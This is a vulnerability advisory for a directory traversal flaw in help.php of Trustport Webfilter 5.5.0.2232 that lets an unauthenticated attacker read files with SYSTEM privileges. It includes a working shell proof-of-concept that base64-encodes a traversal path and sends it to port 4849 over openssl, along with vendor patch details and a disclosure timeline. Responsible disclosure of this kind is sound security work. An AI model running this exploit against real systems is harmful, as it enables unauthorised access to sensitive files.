Trustport Webfilter Traversal / File Disclosure

`Trustport Webfilter Remote File Access Vulnerability  
====================================================  
  
Affected Product  
----------------  
  
Product Name: Trustport Webfilter  
Product Version: 5.5.0.2232  
Platform: Microsoft Windows  
  
Product/Company Information  
---------------------------  
  
From Trustports website:  
  
"An advanced solution for the protection and optimization of web   
traffic within your company network.  
It enables both monitoring and directing of users web activities.  
It also utilizes your internet connectivity, and reduces the risk of   
virus infections.  
Contributes to protecting the reputation of your company."  
  
Trustports website can be found at www.trustport.com  
  
Vulnerability Description  
-------------------------  
  
A vulnerability exists within the help.php script, allowing an remote   
attacker to access files outside of the  
webroot with SYSTEM privileges, without authentication.  
  
In order to exploit this vulnerability, an attacker has to craft a   
special GET-request, with a base64 encoded  
directory traversal string and file name (see Exploit section).  
  
  
Exploit  
-------  
  
#!/bin/sh  
#  
# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232  
# Usage: ./exploit.sh <IP> <path/filename>  
# Example: ./exploit.sh 192.168.42.130 ../../../../../Windows/win.ini  
  
# [email protected]  
  
MY_IP=$1  
MY_FILE=$(echo -n $2| base64)  
MY_CONSOLEPORT='4849'  
  
if [ $# -eq 0 ]  
then  
echo "Usage: `basename $0` <ip> <path/filename>"  
exit  
fi  
  
echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client   
-connect $MY_IP:$MY_CONSOLEPORT -quiet  
  
Patch Information  
-----------------  
  
A patch is available from vendor.  
Corrected Build is: 6.0.0.3033  
  
Advisory Information  
--------------------  
  
http://www.oliverkarow.de/research/trustport.txt  
  
History  
-------  
  
26/07/2013 - Initial contact with vendor  
26/07/2013 - Response from vendor  
30/07/2013 - Patch information provided by vendor  
`